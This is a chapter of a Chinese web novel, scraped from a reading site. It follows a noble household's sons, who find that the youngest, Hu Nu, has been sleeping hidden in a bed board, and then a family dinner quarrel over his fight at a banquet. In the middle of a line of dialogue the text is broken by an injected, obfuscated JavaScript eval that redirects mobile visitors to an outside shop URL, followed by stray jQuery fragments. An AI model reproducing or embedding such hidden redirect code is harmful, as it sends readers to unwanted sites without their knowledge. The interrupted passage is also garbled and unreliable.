文趣网 > 其他小说 > 反派权臣家的真少爷 > 23. 第二十三章
    “哐当——”

    谢清宴赶回府后,先入了苍梧院里屋,看到的是滚落在地的鎏金炭盆盖,案桌旁的小马扎侧翻过去,床边的脚榻,锦被胡乱摊开的一角垂落。

    冷冷清清的,窗子支起,屋外细雪飘洒,卧了素白一片。

    他缓步走近,忽而眼神微微一动,久久定在了原地,心绪起伏不定。

    入目是翘起的床榻木板,接口处横断不一,一看便是折断,空了一处,正合适钻入里头,若盖上半截木板,就看不出来了。

    凑近看去,便见里头团在一起的一条毯子和小软枕,是初入府时谢辞岁用的,旁人没注意,原是藏到了这里。

    毛毯上搁了几块温润耀眼的宝石,暗处荧光。

    不难想象,谢辞岁入夜后便是在这里头睡着,蜷缩着身体,团在这狭小的一地里。

    青梧见谢清宴静立不语,不禁道:“主子。”

    谢清宴声音很淡很淡,似浮尘缥缈,“我原以为带虎奴回府他便能适应,这几月我忙着公事,只有阿琅时常陪着他,教他说话,通晓人事。”

    “可几个月来,无一人发现每夜他是睡在床板里。

    “许是害怕,许是不安。”

    “今日出府,无人照拂,他到那不相识之地,被人奚落,被人冷嘲热讽,拼命护着我送他的玉佩。”

    青梧听出了谢清宴平静语气下深深的自责和愧疚。许多年了,他从没见到主子有这般压抑深重的情绪。

    “二哥。”

    不知何时,谢雪昭也走进了屋内,听到谢清宴的话后,眼眶蓦然红了,心像是被尖刀割过,一下下生疼。

    他病了些许时日,得知消息后连衣裳都随意披上,便匆匆从雪霁阁赶来,冒着风雪,步履不停,不争气的身体喘着气,面色苍白。

    谢清宴侧过身来,敛去了全部的心绪,抬手将谢雪昭凌乱的衣襟理正,又替他系好了玄色大氅。

    “阿琅,莫自责。你尚在病中,何以能料到今日之事。”

    谢雪昭一想到谢辞岁这几月入夜又便是独自一人藏在床板里睡,便难受得像是心口挂上了巨石,沉甸甸得压着人喘不过气来。

    但想说的话全部哽咽在喉咙里,半个字都说不出来。

    他与虎奴相处最久,竟也没发现他每日藏在欣喜雀跃下的惶然不安,阒无人声时,他就一人躲着,蜷在静寂的角落里。

    “走吧,去接他。”

    谢清宴推开门,迎着风雪,徐徐走下重阶,身后跟着替谢雪昭撑伞的青梧。

    ***

    飞雪飘蓬,簌簌落了满身。

    谢辞岁额发间染了薄雪,眼睑轻颤,一袭素白,仿若凝在茫茫雪色中,不知天地四方,宇宙洪荒。

    他就这样静静地立在了树枝头,琥珀色的眼眸蕴着远山青雾,遥遥目光里,是南面的昭台山。

    他已记不清在昭台山里住了多久,只记得春来时旷野长风吹拂过漫山的花,姹紫嫣红;夏日潺潺溪流里鱼儿跃起甩尾,鸟雀呼晴,飞越林间枝头;秋冬肃杀,不过一夜,便青山白头。

    走入这熙熙攘攘的人世,那段往日颠沛流离的年岁渐渐模糊,只在夜深人静时入他梦来。恍然惊醒在空荡荡的屋舍里,又觉着这一刻所拥有物事,全是虚幻。

    他想起了人群里周子乾冷笑嘲讽的脸,又想到曹明英恶狠狠地将玉佩扔远了,他们嬉笑玩闹着不肯还给他,最后砸在假山上碎了拼不起来。

    漫无目的的心绪随着这一场霰雪飘转,没入杳杳的云端,眼角凝了似化成雪的泪,很沉很沉。

    忽而谢辞岁听到有人在唤他,一声又一声,穿透过遒劲的枝干,纵裂的纹路,慢慢的,他低下头去,望向枝条掩映下的身影。

    “咻——”

    三两下攀越间,一道身影掠下。

    像一个雪球一般砸进了谢清宴的怀里,双臂紧紧抱紧他脖颈,浑身的雪气凉飕飕的,滚过一遭,便染了谢清宴满身。

    谢清宴稳稳当当地将人揽进了怀中,温声道:“虎奴,二哥在。”

    天大的委屈和心酸听到这一声后,红泛眼眶再也兜不住,簌簌落下泪来,谢辞岁埋头在他肩上,湿热的泪濡湿了一片。

    他连哭都很克制,闷着不出声,只有眼泪在落,一抽一噎,压抑着喘气声,唯有攥着衣襟的指节扣紧了些。

    谢清宴就这样默默站着,慢慢拍着他的背。

    “碎了……”

    “我知道,不怪虎奴。”

    谢雪昭站在谢清宴身后,他觉得心疼的同时又有几分稀奇,谢家子弟自幼受训导,省身克己,节制守礼,哪怕是做错事被戒尺狠狠责打,也不容许哭,失态于人。

    何曾有人前落泪的时候。

    如今见虎奴的喜怒爱憎皆是坦坦荡荡,露出几分孩童的稚气来,他的心蓦然软了下来。

    似是哭累了,谢辞岁探头看来,便撞见谢雪昭含笑的眼眸。

    他抿着唇,长睫轻颤,水光潋滟,圆润的杏眼明晃晃地多了些委屈和赧然。

    谢雪昭失笑,捏着锦帕抬手细细替他擦了擦哭湿的脸,触碰到眼角的时候,一滴晶莹的泪珠落在了他指尖。

    他微微一顿,勉强压下翻涌的心潮。

    谢观复和谢柏川匆匆赶来苍梧院的时候,看到的便是这样一幅场景。

    并未打搅,而是移步到了前堂。

    到了晚膳时分,稍加收拾整理衣着,谢清宴便牵着谢辞岁到来了膳厅,谢观复等人已入座,只等他们前来。

    “虎奴,过来。”

    谢观复唤了人到身前来,仔细打量看他没有受伤,随后又轻轻摸了摸他柔软的额发,道:“先吃饭吧。”

    身侧是冷面坐着的周云舒,谢辞岁只略过一眼,就小步走回了自己的位置上,身旁的谢清宴悉心拿起巾布给他擦干净手,便迎他入席。

    这是谢家第一次齐整的家宴,周子乾夫妇亦带着一双儿女坐在谢辞岁的对面。

    见到谢辞岁的那一刻,周子乾心里便起了火气,愤愤不平,惹下了这般的大祸,他竟能跟没事人一般就坐入席。

    那可是曹家,今日谢辞岁殴打的人也多是勋贵侯爵!难道能当做什么都没发生?这也忒便宜他了。

    开席后,坐在上首的周云舒是一粒米都咽不下去,面色铁青。

    今日在曹家她颜面尽失,若是寻常人家也就罢了,曹府宴席里高门侯爵云集,就连她也是要交好来往的,这一遭祸事过后,她日后有何脸面出门拜客。

    更何况,这事尚没个结果,曹家和各府都等着交代,眼下这个光景,不想着如何处置谢辞岁,反倒是将人来带用晚膳,生怕他饿着。

    今日有多少少爷公子被打的鼻青脸肿,莫说吃下饭,少说都要修养好些时日。

    “梦臣,今日在曹府,辞岁闯下这样的祸事来,明日御史参奏的折子便到御前了,你怎似无事发生一般。”

    谢观复倒是好心态,夹了一块鱼块入碗里,“明日愁来明日愁,今日的饭还是要吃。”

    “你若是胃口不佳,让厨房熬些粥来,天寒地冻,多少用些。”

    周云舒气得牙根痒,搁下碗筷来,怒气冲冲道:“你们爷俩就护着这个孽障,你可知今日他打了谁?曹国公曹家的幼子,靖国公赵家世子,尚将军的嫡子,平宁候的幼子……这都数不过来。更不用说满院的家丁和护卫,不知凡几,被他所伤,你们就纵

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17502806|202839||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着他。”

    “母亲慎言。”

    谢清宴听到孽障二字后抬眼看来,“辞岁从未出府赴宴,无人教他个中礼仪,你们便随意将他扔在曲廊里任人欺负。”

    “欺负?”

    周云舒难以置信地看谢清宴,荒谬滑稽之感涌上心头,“琼台,你莫是为他昏了头,今日曹府宴席,他将曹府小公子打得遍体鳞伤,还断了两齿,生生呕血。”

    谢清宴搁下筷子来,冷声道:“满院的高门子弟群起而攻之,嬉笑耍弄,肆意夺玉摔毁,我谢家也不是好惹。”

    提到这个玉佩,周云舒就更气了,“羊脂玉价值千金,你就随意给了一个不知事的,我前些时日向你讨要,你便推诿,临了拿了青白玉送来。你看他这不就闯祸了。”

    一再听到孽障和闯祸二字,谢辞岁咬着筷子,垂下眼眸来,连最喜欢的鸡腿肉都寡淡了几分。

    一旁的谢雪昭神色如常,夹了两块肉片哄他,拍了拍他的手,让他莫理会这些繁琐杂事。

    谢清宴对上周云舒的怒眼,神色自若,“母亲是为了自己讨要,还是为了旁人讨要,您心中有数。”

    “乾哥到底怎么你了,这么多年,他替你在母亲膝下尽孝,也有兄弟情分,怎么会比不过一个山野出身的谢辞岁。”

    此言一出,宴席忽而陷入死寂。

    上首的谢观复轻扣膝骨,识趣的徐管家挥手便将这厅内伺候的奴仆们一并唤了出去,自己也躬身退下。

    谢清宴轻笑,“这么说来,我该对周子乾感恩戴德。”

    听到这话,周子乾倏然抬起头来,温和的面皮当着这么多人的面险些绷不住,“琼台这是哪里的话。”

    谢清宴顷刻间笑意便寡淡了几分,“今日之事,周子乾在外头做了多少文章,让我桩桩件件,仔仔细细说个明白吗?母亲能承受起吗?”

    他不是瞎子,这事蹊跷,他早让青林和青梧分头去将事情查明白,周子乾背后散布流言,鼓动煽动,出事之后又躲在一旁看好戏,装作无辜。

    “为何一定要辞岁赴宴?”

    只这一句,周子乾便脸色煞白,紧紧抓着膝上的衣裳,低下头来,勉强压下起伏不定的思绪。

    周云舒先前被谢辞岁打人一事气昏了头,如今忽然被点出这个由头。

    她凝下神来,又道:“我是谢家主母,带家中子弟去赴宴是人之常情,是他不听训诫,一点小事便大打出手,一副野蛮做派,无论有何缘由,他动了手,就是有错。”

    “子乾是有错,出门在外,没有看顾谢辞岁,但难道他还能绑着他不成吗?”

    说到这里,周子乾默默走出来,陈恳认错道:“今日之事,全是我没有顾好岁哥儿,他年纪尚幼,初来乍到,不懂规矩,是我这个做哥哥的没有尽到责任。”

    席上久久无人应答,谢观复深邃的眸光看去,眼底淡漠,未发一言。

    此时,谢雪昭眼神沉冷了下来,周子乾的儿子寻哥儿坐在对面,已经不是第一次抢谢辞岁的菜了。

    一次两次就算了,偏生是故意的,一次又一次,谢辞岁看上桂花酥,筷子快落下,便飞快被他抢了去,还趾高气昂地用眼神挑衅。

    谢辞岁今日心情实在不好,胃口不佳,懒得理会这六七岁的小孩,察觉到他的恶意也不想管,只收了筷子便是。

    但本就自责今日没有护好谢雪昭却忍不下这口气,他重重搁下碗来,清脆一声响,随后冷声道:“若是不想吃就滚出去。”

    这一声如惊雷,吓到了正得意洋洋的寻哥儿,他吓傻了,筷子一掉,便哇哇大哭,躲进了娘亲的怀抱里。

    而刚刚故作诚挚认错的周子乾见到这一幕,心遽而沉了下来。